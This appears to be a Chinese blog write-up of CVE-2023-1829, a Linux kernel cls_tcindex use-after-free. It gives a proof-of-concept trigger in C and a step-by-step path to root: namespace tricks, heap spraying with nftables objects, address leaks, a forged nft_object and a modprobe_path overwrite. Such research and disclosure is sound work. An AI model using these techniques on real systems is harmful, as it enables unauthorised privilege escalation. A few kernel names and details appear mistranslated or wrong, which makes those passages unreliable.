深入解析CVE-2023-1829:cls_tcindex分类器漏洞利用与分析

本文详细分析了Linux内核中cls_tcindex网络流量分类器的CVE-2023-1829漏洞,该漏洞存在于完美哈希过滤器删除过程中,会导致use-after-free问题。文章从Netlink通信机制入手,逐步讲解漏洞原理、利用方法及修复方案。

背景

漏洞的发现和分析是网络安全研究的关键环节。今天我们将深入分析CVE-2023-1829,这是Valis在cls_tcindex网络流量分类器中发现的漏洞。我们将探讨利用和检查此漏洞的过程,揭示其复杂细节和潜在后果。我们已在Ubuntu 22.04(内核版本5.15.0-25)上全面测试了我们的利用程序,该内核是从官方5.15.0-25.25源代码构建的。

Netlink概述

Netlink是一种套接字域,旨在促进Linux内核内的进程间通信(IPC),特别是在内核和用户程序之间。它被开发用来取代过时的ioctl()接口,并通过AF_NETLINK域中的标准套接字提供更通用的通信方法。

使用Netlink,用户程序可以与各种内核系统交换消息,包括网络、路由和系统配置。特别是Netlink路由,专注于管理和管理Linux内核中的路由表。

这方面为配置和控制系统路由行为提供了强大的接口。它涵盖网络路由、IP地址、链路参数、邻居设置、队列规则以及流量类别和数据包分类器。这些功能可以使用NETLINK_ROUTE套接字访问和操作,利用底层的netlink消息框架。

流量控制

流量控制为集成服务和差分服务支持的开发提供了一个框架。它由队列规则、类和过滤器/策略组成。Linux流量控制服务非常灵活,允许不同块的分层级联以进行流量资源共享。

上图展示了出口流量控制(TC)块的一个实例。在此过程中,数据包经过过滤以确定其潜在的类成员资格。类代表终端队列规则,并配有相应的队列。队列可能采用简单的算法,如先进先出(FIFO),或更复杂的方法,如随机早期检测(RED)或令牌桶机制。在最高级别,父队列规则(通常与调度器关联)监督整个系统。在此调度器层次结构中,可以找到额外的调度算法,为Linux出口流量控制提供了显著的灵活性。

在Netlink框架内,流量控制主要由NETLINK_ROUTE系列处理,并与一些netlink消息类型关联:

  • 通用网络环境操作服务:

    • 链路层接口设置:由RTM_NETLINK、RTM_DELLINK和RTM_GETLINK标识
    • 网络层(IP)接口设置:RTM_NEWADDR、RTM_DELADDR和RTM_GETADDDR
    • 网络层路由表:RTM_NEWROUTE、RTM_DELROUTE和RTM_GETROUTE
    • 关联网络层和链路层寻址的邻居缓存:RTM_NEWNEIGH、RTM_DELNEIGH和RTM_GETNEIGH
  • 流量整形(管理)服务:

    • 指导网络层数据包的路由规则:RTM_NEWRULE、RTM_DELRUTE和RTM_GETRULE
    • 与网络接口关联的队列规则设置:RTM_NEWQDISC、RTM_DELQDISC和RTM_GETQDISC
    • 与队列一起使用的流量类别:RTM_NEWTCLASS、RTM_DELTCLASS和RTM_GETTCLASS
    • 与队列关联的流量过滤器:RTM_NEWFILTER、RTM_DELFILTER和RTM_GETFILTER

更多细节请参阅此博客文章。

队列规则

队列规则是用于控制网络接口或路由器内数据包流的机制。它们在根据特定规则或策略组织和调度数据包传输方面起着关键作用。此外,队列规则提供两个基本操作:enqueue()和dequeue()。

每当网络数据包从网络堆栈通过物理或虚拟设备发送出去时,除非设备设计为无队列,否则它会被放入队列规则中。enqueue()操作立即将数据包添加到适当的队列中,随后是来自同一队列规则的dequeue()调用。此dequeue()操作负责从队列中检索数据包,然后可以由驱动程序调度传输。

如果qdisc是类ful qdisc,用户可以灵活创建自己的队列结构和分类过程。

Linux提供各种可应用于网络接口的队列规则。一些常用的队列规则包括:

  • 先进先出(FIFO):这是最简单的队列规则,数据包按到达顺序传输。它不提供任何优先级或流量整形能力。
  • 分层令牌桶(HTB):HTB是一种分层队列规则,允许创建具有不同带宽分配的流量类和子类。它为管理带宽和优先级提供了灵活的分层结构。
  • 基于类的队列(CBQ):CBQ是一种更高级的队列规则,允许管理员定义具有不同优先级级别、带宽分配和延迟保证的流量类。它支持分层结构,并提供对流量整形和优先级的细粒度控制。
  • 差分服务标记器(DSMARK):DSMARK用于基于差分服务(DiffServ)代码点的流量分类和数据包标记。它使管理员能够用特定的DiffServ代码点标记数据包,允许下游路由器和设备根据分配的代码点优先处理数据包。通过应用DSMARK,网络管理员可以根据分配的代码点为不同类别的流量实施差异化处理和QoS策略。

过滤器

过滤器是一个组件,使用户能够在qdisc(队列规则)内对数据包进行分类并对它们应用特定操作或处理。使用过滤器,您可以根据数据包的特征或特定标准精确确定应如何处理或引导数据包。

当数据包进入qdisc时,它们会经过过滤器评估以确定其分类和后续处理,如[图1]所示。过滤器能够使用各种条件匹配数据包,例如源/目标IP地址、端口号、协议或其他数据包属性。

一旦数据包满足过滤器指定的条件,就会触发关联的操作。这些操作可以包括丢弃数据包、将其转发到指定队列或qdisc、用特定属性标记它,或应用速率限制和流量整形规则。

过滤器通常链接到父qdisc并以分层结构组织。这种层次结构支持不同级别的分类和处理,使您能够对数据包的处理方式施加细粒度控制。

如前所述,我们感兴趣的是使用NETLINK_ROUTE,它依赖于netlink消息。现在是深入了解与netlink交互过程的绝佳时机。

Netlink消息

Netlink使用标准BSD套接字操作。每个netlink消息由两部分组成:Netlink头和协议头。以下是netlink头消息的结构:

或在源代码中:

1
2
3
4
5
6
7
struct nlmsghdr {
    __u32       nlmsg_len;
    __u16       nlmsg_type;
    __u16       nlmsg_flags;
    __u32       nlmsg_seq;
    __u32       nlmsg_pid;
};
  • 长度:整个消息的长度,包括头
  • 类型:Netlink家族ID
  • 标志:执行或转储
  • 序列:序列号
  • 端口ID:标识发送包的程序

nlmsg_len字段指示消息的总长度,包括头。nlmsg_type字段指定消息内容的类型。nlmsg_flags字段保存与消息关联的附加标志。nlmsg_seq字段用于将请求与相应响应匹配。最后,nlmsg_pid字段存储端口ID。

通过理解netlink头消息的结构,您可以有效利用netlink在不同进程或内核模块之间建立通信。

大多数字段都非常简单,type字段将引导我们到内核源代码中的特殊端点函数处理程序。例如RTM_NEWQDISC、RTM_DELQDISC类型:

1
2
rtnl_register(PF_UNSPEC, RTM_NEWQDISC, tc_modify_qdisc, NULL, 0);
rtnl_register(PF_UNSPEC, RTM_DELQDISC, tc_get_qdisc, NULL, 0);

Netlink负载

Netlink提供了一种属性系统,用于编码包含类型和长度等信息的数据。属性的使用允许进行数据验证,并提供了在不破坏向后兼容性的情况下扩展协议的简便方法。

Netlink提供了一种使用所谓的"属性验证策略"来验证消息格式是否正确的方法,由struct nla_policy表示。

在理解如何使用NET_ROUTE进行通信之后,我们将继续讨论tc_index过滤器中的漏洞,并详细说明如何利用它。

漏洞分析

CVE-2023-1829是在删除完美哈希过滤器时出现的use-after-free漏洞。tcindex分类器中实现了两种不同的哈希方法。

完美哈希用于有限范围的输入键,当用户在分类器创建期间指定足够小的掩码/哈希参数时选择。默认使用不完美哈希。

已发现完美哈希的实现存在若干问题,特别是在与扩展(如操作)一起使用时。该漏洞存在于tcindex_delete()函数中。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
static int tcindex_delete(struct tcf_proto *tp, void *arg, bool *last,
              bool rtnl_held, struct netlink_ext_ack *extack)
{
    struct tcindex_data *p = rtnl_dereference(tp->root);
    struct tcindex_filter_result *r = arg;
    struct tcindex_filter __rcu **walk;
    struct tcindex_filter *f = NULL;

    pr_debug("tcindex_delete(tp %p,arg %p),p %p\n", tp, arg, p);
    if (p->perfect) { // [1]
        if (!r->res.class)
            return -ENOENT;
    } else {
        int i;

        for (i = 0; i < p->hash; i++) {
            walk = p->h + i;
            for (f = rtnl_dereference(*walk); f;
                 walk = &f->next, f = rtnl_dereference(*walk)) {
                if (&f->result == r)
                    goto found;
            }
        }
        return -ENOENT;

found:
        rcu_assign_pointer(*walk, rtnl_dereference(f->next)); // [2]
    }
    tcf_unbind_filter(tp, &r->res);
    /* all classifiers are required to call tcf_exts_destroy() after rcu
     * grace period, since converted-to-rcu actions are relying on that
     * in cleanup() callback
     */
    if (f) {
        if (tcf_exts_get_net(&f->result.exts))
            tcf_queue_work(&f->rwork, tcindex_destroy_fexts_work);
        else
            __tcindex_destroy_fexts(f);
    } else {
        tcindex_data_get(p);

        if (tcf_exts_get_net(&r->exts))
            tcf_queue_work(&r->rwork, tcindex_destroy_rexts_work);
        else
            __tcindex_destroy_rexts(r);
    }

    *last = false;
    return 0;
}

在不完美哈希的情况下,我们观察到与结果r关联的过滤器在[2]处从指定的哈希表中移除。然而,在完美哈希的情况下[1],没有采取任何操作来删除或停用过滤器。由于在不完美哈希的情况下从未设置f,将调用函数tcindex_destroy_rexts_work():

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
static void tcindex_destroy_rexts_work(struct work_struct *work)
{
    struct tcindex_filter_result *r;

    r = container_of(to_rcu_work(work),
             struct tcindex_filter_result,
             rwork);
    rtnl_lock();
    __tcindex_destroy_rexts(r);
    rtnl_unlock();
}

static void __tcindex_destroy_rexts(struct tcindex_filter_result *r)
{
    tcf_exts_destroy(&r->exts);
    tcf_exts_put_net(&r->exts);
    tcindex_data_put(r->p);
}

void tcf_exts_destroy(struct tcf_exts *exts)
{
#ifdef CONFIG_NET_CLS_ACT
    if (exts->actions) {
        tcf_action_destroy(exts->actions, TCA_ACT_UNBIND);
        printk("free exts->actions: %px\n", exts->actions);
        kfree(exts->actions); // [3]
    }
    exts->nr_actions = 0;
#endif
}
EXPORT_SYMBOL(tcf_exts_destroy);

一旦调用tcf_exts_destroy()函数,exts->actions将在索引[3]处被释放。但是,它不会从过滤器中停用,这意味着指针仍然可以被destroy函数访问。这种情况创建了一个use-after-free块,称为完美哈希过滤器。

概念验证

以下代码片段演示了在本地链路网络中创建新队列规则的过程。这涉及引入一个新类并实现具有预定义操作的tc_index过滤器。

随后,尝试使用完美哈希方法移除此过滤器。但是,尽管删除了,扩展操作(exts->actions)指针仍然与过滤器关联,开发人员忘记清理此指针。要触发Use-After-Free块,下一步涉及删除队列中的链,调用链如:tc_ctl_chain -> tcf_exts_destroy。此函数无意中第二次释放了exts->actions,最终导致后续操作中出现内核恐慌。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <limits.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <pthread.h>
#include <time.h>

#include <linux/if_ether.h>
#include <linux/tc_act/tc_mirred.h>
#include <linux/netlink.h>
#include <net/if.h>
#include <linux/rtnetlink.h>

#include "rtnetlink.h"
#include "modprobe_path.h"
#include "setup.h"
#include "cls.h"
#include "log.h"
#include "local_netlink.h"
#include "keyring.h"
#include "uring.h"

int main()
{
    int pid, client_pid, race_pid;
    struct sockaddr_nl snl;
    char link_name[] = "lo\0"; // tunl0 sit0 br0
    pthread_t thread[3];
    int iret[3];
    uint64_t sock;
    unsigned int link_id, lo_link_id;
    char *table_name = NULL, *obj_name=NULL, *table_object=NULL, *table_name2=NULL;
    uint64_t value[32];
    uint64_t addr_value = 0;
    uint64_t table_uaf = 0;
    uint64_t *buf_leak = NULL;
    struct mnl_socket *nl = NULL;
    int found = 0, idx_table = 1;
    uint64_t obj_handle = 0;

    srand(time(NULL));
    assign_to_core(DEF_CORE);

    if (setup_sandbox() < 0){
        errout("[-] setup faild");
    }
    puts("[+] Get CAP_NET_ADMIN capability");

    save_state();
    nl = mnl_socket_open(NETLINK_NETFILTER);
    if (!nl){
        errout("mnl_socket_open");
    }
    puts("[+] Open netlink socket ");

    /* classifiers netlink socket creation */
    if ((sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)) < 0) {
        errout("socket");
    }

    /* source netlink sock */
    memset(&snl, 0, sizeof(snl));
    snl.nl_family = AF_NETLINK;
    snl.nl_pid = getpid();
    if (bind(sock, (struct sockaddr *)&snl, sizeof(snl)) < 0)
        errout("bind");

    /* ========================Enable lo interface=======================================*/
    // rt_newlink(sock, link_name);
    link_id = rt_getlink(sock, link_name);
    printf("[+] link_id: 0x%x\n", link_id);
    rt_setlink(sock, link_id);

    rt_newqdisc(sock, link_id, 0x10000);
    rt_addclass(sock, link_id, 0x00001); // class
    rt_addfilter(sock, link_id, 2, 1);

    /* =============================================================== */
    rt_delfilter(sock, link_id, 1);
    sleep(3);

    /* =============================================================== */
    // Free exts->actions part 2 leads to UAF
    puts("[+] Destroy exts->actions part 2");
    rt_delchain(sock, link_id); // delete exts->actions -> it calls tcindex_destroy()

    return 0;
}

利用

利用在运行Ubuntu 22.04的系统上进行,内核版本为5.15.0-25,该内核是从官方5.15.0-25.25内核源代码编译的。

要利用此漏洞,我们可以获得一个无特权的用户命名空间,该命名空间授予我们强大的CAP_NET_ADMIN能力。幸运的是,此能力可以通过用户命名空间(CONFIG_USER_NS)获得。用户命名空间通过引入新的攻击机会彻底改变了近年来Linux内核利用的方式。在开发利用脚本时,我们可以使用unshare函数创建新的网络命名空间,即使是作为无特权用户。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
    /* For unprivileged user can communicate with netlink */
    if (unshare(CLONE_NEWUSER) < 0)
    {
        perror("[-] unshare(CLONE_NEWUSER)");
        return -1;
    }

    /* Network namespaces provide isolation of the system resources */
    if (unshare(CLONE_NEWNET) < 0)
    {
        perror("[-] unshare(CLONE_NEWNET)");
        return -1;
    }

如何解决回收UAF块时的不稳定问题

尽管我们尝试利用此漏洞,但在回收所需的特殊UAF块时遇到了困难。我们尝试喷洒大量对象以克服此障碍,但我们的努力始终以失败告终。

我们正在使用一个有用的工具libslub,该工具由NCC group开发,用于分析slab缓存状态。我们感谢NCC group提供此工具。

在我们的场景中,UAF(Use-After-Free)块存储在无页面配置中。这意味着页面仅包含总共16个块中的2-3个空闲块,允许内核在后续喷洒操作期间从其他页面分配内存,而不是使用无页面配置。

为了缓解此问题,我们实施了一个解决方案,在进入UAF上下文之前创建和释放相同的块。此过程涉及使用流过滤器,可以在以下代码片段中看到:

1
2
3
4
5
6
7
8
9
    /* Make reclaiming more stables */
    int link_tunl0_id = 4;
    rt_newqdisc(sock, link_tunl0_id, 0x10000);
    rt_addclass(sock, link_tunl0_id, 0x00001); // class
    for (int i=2; i<20; i++){
        rt_add_flow_filter(sock, link_tunl0_id, i);
    }
    rt_delchain(sock, link_tunl0_id);
    sleep(3);

通过遵循此方法,我们确保UAF块存储在满页面配置中,其中页面包含总共16个块中的超过12个空闲块。这种安排使回收UAF块更容易,并解决了手头的问题。

利用步骤

利用有5个主要步骤:

  1. 喷洒table->udata以回收大小为0x100的UAF块
  2. 使用删除链函数释放UAF块,但table->udata仍保留其引用
  3. 使用计数器操作喷洒nft_object以回收第2部分,之后泄漏堆指针和内核基址
  4. 伪造nft_object,其操作指向我们控制的堆地址
  5. 覆盖modprobe_path

喷洒table->udata

在第一步中,我们的目标是识别use-after-free块并定位用于回收的潜在有价值对象。这些对象应与我们定位的特定块具有相同的缓存。在Ubuntu 5.15.0版本中,exts->actions数据存储在大小为0x100的缓存块中,特别是GPL_KERNEL缓存。

最初,我们希望找到可以帮助我们完成此任务的普通对象,如msg_msg或setxattr。不幸的是,这些对象似乎都没有与exts->actions块相同的缓存。

然而,回顾我们之前使用netlink过滤器模块的经验,我们意识到NFT(Netfilter)对象可能是一个合适的替代方案。目前,用户表数据(table->udata)似乎是最可行的选择。通过利用此表,我们不仅可以执行回收并保留指针,还可以通过nf_tables_gettable函数访问用户数据。

使用tc_ctl_chain函数进行第二次释放

这一步提出了一个挑战,由于在exts->actions过程中有广泛的预删除检查,我们无法再次使用删除过滤器函数。因此,我们必须寻找允许我们绕过这些检查的替代函数。以下是删除链函数的堆栈跟踪:

1
2
3
4
5
6
7
8
tc_ctl_chain
    tcf_chain_flush
        tcf_proto_put
            tcf_proto_destroy
                tcindex_destroy
                    tcindex_destroy_rexts_work
                        __tcindex_destroy_rexts
                            tcf_exts_destroy

此函数将帮助我们在[1]处第二次调用kfree(exts->actions),但我们需要绕过tcf_action_destroy函数中[2]处的检查。在这种情况下,我们可以通过简单地将exts->actions块中的第一个指针分配为NULL来轻松绕过此循环。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void tcf_exts_destroy(struct tcf_exts *exts)
{
#ifdef CONFIG_NET_CLS_ACT
	if (exts->actions) {
		tcf_action_destroy(exts->actions, TCA_ACT_UNBIND);
		printk("free exts->actions: %px\n", exts->actions);
		kfree(exts->actions); // [1]
	}
	exts->nr_actions = 0;
#endif
}

int tcf_action_destroy(struct tc_action *actions[], int bind)
{
	const struct tc_action_ops *ops;
	struct tc_action *a;
	int ret = 0, i;

	for (i = 0; i < TCA_ACT_MAX_PRIO && actions[i]; i++) { // [2]
		a = actions[i];
		actions[i] = NULL;
		ops = a->ops;
		ret = __tcf_idr_release(a, bind, true);
		if (ret == ACT_P_DELETED)
			module_put(ops->owner);
		else if (ret < 0)
			return ret;
	}
	return ret;
}

泄漏堆指针和内核基址

我们测试了各种对象,如nft_set和flow_filter。经过仔细考虑,我们选择了nft_object用于喷洒大小为0x100的对象块。之所以做出此选择,是因为其结构包含许多重要字段,包括堆指针和内核基指针。通过在table->udata仍保留指向此块的指针时喷洒nft_object,我们能够执行转储表命令并获得所需的完整数据集。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
struct nft_object {
	struct list_head		list;   // <-- 用于泄漏堆指针
	struct rhlist_head		rhlhead;
	struct nft_object_hash_key	key;
	u32				genmask:2,
					use:30;
	u64				handle;
	u16				udlen;
	u8				*udata;
	/* runtime data below here */
	const struct nft_object_ops	*ops ____cacheline_aligned; // <--- 用于泄漏vmlinux基址
	unsigned char			data[]
		__attribute__((aligned(__alignof__(u64))));
};

伪造nft_object

为了绕过某些要求并通过转储对象函数触发劫持指针,我们需要执行一个称为伪造nft_object的步骤。这涉及操纵nf_tables_getobj()函数,该函数随后在[2]处调用nf_tables_fill_obj_info()。在此函数内部,在[3]处有一个对nft_object_dump的调用,我们可以通过调用obj->ops->dump来利用伪造的操作指针。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
/* called with rcu_read_lock held */
static int nf_tables_getobj(struct sk_buff *skb, const struct nfnl_info *info,
                const struct nlattr * const nla[])
{
    // ...

    objtype = ntohl(nla_get_be32(nla[NFTA_OBJ_TYPE]));
    obj = nft_obj_lookup(net, table, nla[NFTA_OBJ_NAME], objtype, genmask); // [1]
    if (IS_ERR(obj)) {
        NL_SET_BAD_ATTR(extack, nla[NFTA_OBJ_NAME]);
        return PTR_ERR(obj);
    }

    // ...
    err = nf_tables_fill_obj_info(skb2, net, NETLINK_CB(skb).portid,
                      info->nlh->nlmsg_seq, NFT_MSG_NEWOBJ, 0,
                      family, table, obj, reset); [2]
    // ...
}

static int nf_tables_fill_obj_info(struct sk_buff *skb, struct net *net,
                   u32 portid, u32 seq, int event, u32 flags,
                   int family, const struct nft_table *table,
                   struct nft_object *obj, bool reset)
{
    // ...
    if (nla_put_string(skb, NFTA_OBJ_TABLE, table->name) ||
        nla_put_string(skb, NFTA_OBJ_NAME, obj->key.name) ||
        nla_put_be32(skb, NFTA_OBJ_TYPE, htonl(obj->ops->type->type)) ||
        nla_put_be32(skb, NFTA_OBJ_USE, htonl(obj->use)) ||
        nft_object_dump(skb, NFTA_OBJ_DATA, obj, reset) || // [3]
    //...
}

static int nft_object_dump(struct sk_buff *skb, unsigned int attr,
               struct nft_object *obj, bool reset)
{
    // ...
    if (obj->ops->dump(skb, obj, reset) < 0) // [4]
        goto nla_put_failure;
    // ...
}

在进入nf_tables_fill_obj_info函数之前,我们必须首先找到绕过nft_obj_lookup函数[1]的方法。通过检查下面提供的代码,我们可以操纵指针obj->ops->type->type在[5]处的值和对象的genmask [6]字段。当我们同时拥有堆指针和内核基指针时,此任务变得相对简单。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
struct nft_object *nft_obj_lookup(const struct net *net,
                  const struct nft_table *table,
                  const struct nlattr *nla, u32 objtype,
                  u8 genmask)
{
    // ...
    rhl_for_each_entry_rcu(obj, tmp, list, rhlhead) {
        if (objtype == obj->ops->type->type && // [5]
            nft_active_genmask(obj, genmask)) { // [6]
            rcu_read_unlock();
            return obj;
        }
    }
    // ...
}

覆盖modprobe_path

幸运的是,此版本的Ubuntu保留了modprobe_path技术,没有任何补丁。在此技术中,我们将/sbin/modprobe可执行文件的路径覆盖为指向/tmp/x。因此,每当我们命令系统执行具有无法识别文件类型的文件时,它将运行位于/tmp/x中的修改后的/sbin/modprobe。

补丁分析

供应商发布的最新补丁包括移除tc_index过滤器文件。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
diff --git a/net/sched/Makefile b/net/sched/Makefile
index 0852e989af96b..ea236d258c165 100644
--- a/net/sched/Makefile
+++ b/net/sched/Makefile
@@ -68,7 +68,6 @@ obj-$(CONFIG_NET_CLS_U32) += cls_u32.o
 obj-$(CONFIG_NET_CLS_ROUTE4)   += cls_route.o
 obj-$(CONFIG_NET_CLS_FW)   += cls_fw.o
 obj-$(CONFIG_NET_CLS_RSVP) += cls_rsvp.o
-obj-$(CONFIG_NET_CLS_TCINDEX)  += cls_tcindex.o
 obj-$(CONFIG_NET_CLS_RSVP6)    += cls_rsvp6.o
 obj-$(CONFIG_NET_CLS_BASIC)    += cls_basic.o
 obj-$(CONFIG_NET_CLS_FLOW) += cls_flow.o

结论

在此博客文章中,我们讨论了net route模块及其各种功能,包括流量控制、队列规则和利用技术。通过利用这些功能,我们能够在Ubuntu 22.04上获得令人垂涎的root特权。

我们已在此存储库中附加了利用代码。

参考文献

  • Introduction to Generic Netlink, or How to Talk with the Linux Kernel - Yaroslav’s weblog (yaroslavps.com)
  • Multicast routing (tldp.org)
  • rtnetlink(7) - Linux manual page (man7.org)
  • RFC 3549 - Linux Netlink as an IP Services Protocol (ietf.org)
  • Linux Advanced Routing & Traffic Control HOWTO (lartc.org)
  • howto.dvi (psu.edu)
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计